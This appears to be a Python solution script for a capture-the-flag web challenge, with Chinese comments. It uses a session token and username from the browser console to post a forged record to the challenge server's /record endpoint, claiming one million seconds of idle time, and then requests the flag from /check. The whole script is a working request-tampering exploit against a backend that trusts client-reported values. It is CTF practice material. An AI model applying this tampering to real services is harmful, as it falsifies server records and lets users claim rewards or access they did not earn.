1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import requests
# 替换为你实际拿到的基础URL和Token
target = "http://cloud-big.hgame.vidar.club:31403"
token = "4578fe36-be89-46b2-8a5c-f61991e6f8ac" # 之前console拿到的
username = "player_75506" # 之前console拿到的
headers = {
"Authorization": token,
"Content-Type": "application/json"
}
# 直接告诉后端:我已经挂机了 1000000 秒
payload = {
"username": username,
"time": 1000000,
"status": "success" # status 字段是代码中出现的备选字段
}
print("[*] 正在尝试瞬间刷时长...")
requests.post(f"{target}/record", json=payload, headers=headers)
print("[*] 正在领取 Flag...")
r = requests.get(f"{target}/check", headers=headers)
print(f"[!] 结果: {r.text}")
|